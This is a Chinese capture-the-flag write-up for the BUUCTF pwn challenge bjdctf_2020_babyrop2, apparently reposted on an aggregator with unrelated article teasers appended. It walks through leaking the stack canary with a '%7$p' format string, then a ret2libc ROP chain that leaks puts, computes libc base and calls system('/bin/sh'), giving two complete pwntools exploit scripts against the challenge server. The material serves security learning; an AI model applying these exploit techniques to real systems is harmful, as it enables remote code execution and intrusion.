bjdctf_2020_babyrop2-fmt-leak canary

news2024/10/5 5:23:26

1,三连
在这里插入图片描述分析:开了canary,先想办法获取canary值。

2,IDA静态分析,查看可以泄露canary的地方,否则只能爆破了
发现可以格式化字符串函数泄露的地方:
在这里插入图片描述
栈帧结构:

高地址
--------------
gift_ret栈帧
--------------
gift_ebp
--------------
canary
...
format局部变量的地址:存入的内容=>aa%6$p(假格式化参数6)
...
--------------
假格式化参数5
--------------
...假参数2-4
--------------
假格式化参数1
--------------=>gift_esp
format的地址(printf的参数) - > 内容是格式化字符的地址(泄露高地址信息):构造=>aa%6$p
printf_ret栈帧
--------------
低地址

限制:只能输入6个字符,所以不能如下构造

aaaa%x %x %x.......

得利用aa%[n]$p格式

格式化规则说明:

  • n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。
    例:printf("%2$d %2$#x; %1$d %1$#x",16,17)
    打印结果:17 0x11; 16 0x10

  • p是void * 型,输出对应变量的值。
    printf(“%p”, a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址

思路:aa相当于定位标识,format在格式化假参数6的位置,所以构造成aa%6$p
对应16进制:aa(6161),%(25),6(36),$(24),p(70) (16进制asll和小端序)
通过p打印出对应16进制即可推出canary。

canary的位置:即format局部变量的地址的上一个位置,则aa%7$p即泄露canary的地址。

3,获取偏移
在这里插入图片描述
vuln的偏移=0x20-0x8(canary填充)
即构造:

payload = b'a'(0x20-8) + p64(canary) + p64(ret)

4,IDA静态查找可利用函数/字符串
在这里插入图片描述

思路:无直接可利用sys函数,所以是ret2lic,利用put泄露基址。

4,payload

from pwn import *
from LibcSearcher import *

io = remote("node4.buuoj.cn",28141)
#io = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")

main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
rdi = 0x0000000000400993 #: pop rdi ; ret

io.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)

payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)

puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")+1
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\n",payload)

io.interactive()

上面版本用Libcsearcher的libc进入shell就异常!!

使用如下版本:
本地libc下载:https://github.com/Yeuoly/buuctf_pwn/tree/master/bjdctf_2020_babyrop2

from pwn import *

context.log_level = 'debug'

proc_name = './bjdctf_2020_babyrop2'

#p = process(proc_name)
p = remote('node4.buuoj.cn', 27013)
elf = ELF(proc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']

pop_rdi_ret = 0x400993
ret = 0x4005f9

#gdb.attach(p, 'b *0x400857')
#format overflow
p.recvuntil('I\'ll give u some gift to help u!\n')

payload = b'%7$p'

p.sendline(payload)

canary = int(p.recv(0x12), 16)

print('[+] canary -> {}'.format(hex(canary)))

#gdb.attach(p, 'b *0x4008c3')
p.recvuntil('Pull up your sword and tell me u story!\n')

payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(puts_got) 
payload += p64(puts_plt) + p64(vuln)

p.sendline(payload)

puts_real_addr = u64(p.recv(6).ljust(8, b'\0'))

libc_base = puts_real_addr - libc.sym['puts']

print('[+] libc_base -> {}'.format(hex(libc_base)))

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) 
payload += p64(system_addr)

p.recvuntil('story!\n')

p.sendline(payload)

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421583.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法宇宙——在故事中学算法】背包dp之01背包问题

唯手熟尔方成艺,唯读书能致卓越。勤学苦练方可成,路漫漫其修远兮! 文章目录前言正文故事总结前言 尽管计算机是门严谨的学科,但正因为严谨,所以要有趣味才能看得下去。在笔者的前几篇算法类文章中,都采用了…

智慧公厕系统的应用示例

近几年,在一些高速服务区或者一些城市的公共厕所当中,总会看见一些富有科技感的硬件,比如厕位有无人指示灯、厕所除臭杀菌机、智能取纸机、智能洗手台镜面广告机等。现在在衡量城市发展的过程中,总会以城市的建设,城市…

Weblogic远程代码执行漏洞 CVE-2023-21839

漏洞简介 WebLogic Core远程代码执行漏洞(CVE-2023-21839),该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议进行 JNDI lookup 操作,破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接…

MySQL可重复读事务隔离具体是怎么实现的

事务的启动会有的操作 事务的隔离等级有四种,现在说默认的可重复读,可重复读就是一个事务执行过程中看到的数据,总是跟这个事务在启动时看到的数据是一致的。当然在可重复读隔离级别下,未提交变更对其他事务也是不可见的。 可重复…

Java阶段一Day22

Java阶段一Day22 文章目录Java阶段一Day22线程安全synchronized教师总结新单词多线程多线程并发安全问题概念例synchronized关键字同步方法同步块在静态方法上使用synchronized互斥锁总结重点:多线程并发安全问题聊天室(续)实现服务端发送消息给客户端服务端转发消息给所有客户…

内网穿透实现在外远程连接RabbitMQ服务

文章目录前言1.安装erlang 语言2.安装rabbitMQ3. 内网穿透3.1 安装cpolar内网穿透(支持一键自动安装脚本)3.2 创建HTTP隧道4. 公网远程连接5.固定公网TCP地址5.1 保留一个固定的公网TCP端口地址5.2 配置固定公网TCP端口地址转载自远控源码文章:无公网IP,…

Linux Systemd type=simple和type=forking的区别

Typeforking 使用Typeforking时,要求ExecStart启动的命令自身就是以daemon模式运行的。 而以daemon模式运行的进程都有一个特性:总是会有一个瞬间退出的中间父进程,例如,nginx命令默认以daemon模式运行,所以可直接将其…

Nodejs vm/vm2沙箱逃逸

文章目录什么是沙箱以及VM?vm模块nodejs作用域vm沙箱vm沙箱逃逸vm2例题分析:(待补充)[HFCTF2020]JustEscape[HZNUCTF 2023 final]eznode參考文章:什么是沙箱以及VM? 什么是沙箱: 沙箱就是能够像一个集装箱…

Ansys Speos | 联合 optiSLang 背光板设计优化方案

在这个例子中,讲述如何建模一个典型的背光单元及其与亮度和均匀性有关的照度分布。其中一个关键特点是使用了Speos 3D Texture功能,这是最初开发的用于背光单元产品,并可用于设计导光板,亮度增强膜(BEF)和由数千/数百万组成的背光…

《程序员面试金典(第6版)》面试题 10.03. 搜索旋转数组(二分法,分钟思想,入门题目)

题目描述 搜索旋转数组。给定一个排序后的数组,包含n个整数,但这个数组已被旋转过很多次了,次数不详。请编写代码找出数组中的某个元素,假设数组元素原先是按升序排列的。若有多个相同元素,返回索引值最小的一个。 示例…

C学习笔记2

1、二进制由 0 和 1 两个数字组成,使用时必须以0b或0B(不区分大小写)开头 2、符号位进制形式进制数据 (进制形式决定后面的数据是哪种进制) 3、合法的二进制 int a 0b101; // 0b是二进制的进制形式 101是进制…

buildroot使用外部编译链编译bluez蓝牙工具

在开发ublox w263 wifi蓝牙时,之前是使用yocto系统集成编译出的bluez工具,减少了自己编译工具软件和依赖库的工作,切换项目使用原生linux系统后,所以的软件需要自己编译,不想编译每个依赖文件和库,所以使用…

Pytorch深度学习笔记(三)线性模型

目录 1.机械学习的过程 2.线性模型 推荐课程:2.线性模型_哔哩哔哩_bilibili 1.机械学习的过程 机械学习的过程: 1.准备数据集DataSet——>2.选择模型Model——>3.训练Training——>4.推理Infering 监督学习:用已知标签的训练样本训…

Spark大数据处理讲课笔记3.1 掌握RDD的创建

文章目录零、本节学习目标一、RDD为何物(一)RDD概念(二)RDD示例(三)RDD主要特征二、做好准备工作(一)准备文件1、准备本地系统文件2、启动HDFS服务3、上传文件到HDFS(二&…

4年软件测试工作经验,跳槽之后面试20余家公司的总结

先说一下自己的个人情况,普通二本计算机专业毕业,懂python,会写脚本,会selenium,会性能,然而离职后到今天都没有收到一份offer!一直在待业中,从离职第一天就开始准备简历&#xff0c…

快排的非递归实现

其思想与递归实现快排完全相同,可以先将第一次要排序的右边界和左边界先后入栈,然后判断栈 是否为空,不为空就出栈顶元素,并删除一次,由于栈是先进的后出,所以先出来的应该是左界, 再进行一次…

【C++】STL——unordered_map和unordered_set的介绍和使用

unordered_set和unordered_map的介绍和使用 文章目录unordered_set和unordered_map的介绍和使用一、unordered系列关联式容器二、unordered_set1.unordered_set的介绍2.unordered_set的构造方式3.unordered_set的函数接口说明4.unordered_multiset的介绍及使用三、unordered_ma…

【建议收藏】数据库 SQL 入门——约束(内附演示)

文章目录📚引言📖约束📑非空约束📑唯一约束📑主键约束📑默认约束📑检查约束📑外键约束🔖外键的添加🔖删除/更新外键📍总结📚引言 &…

【高危】Apache Linkis Gateway模块存在身份验证绕过漏洞(CVE-2023-27987)

漏洞描述 Apache Linkis 是一个用于将上层应用与底层数据引擎解耦,提供标准化接口的中间件。Gateway 是 Linkis 接受客户端和外部请求的主要入口点, 在 Apache Linkis 受影响版本中,由于在 Linkis Gateway 部署时产生的Token默认为LINKIS_C…

Linux打印口/LPT口出厂测试工具与使用说明

1 软件功能 该软件用于在Linux平台测试CH35X/CH38X(PCI/PCIe转串并口)的并口各引脚功能是否正常。方便对设备进行出厂测试。 2 并口测试硬件治具 在测试前,需要制作单独的硬件治具,按下表连接信号线: 25针并口座子堵…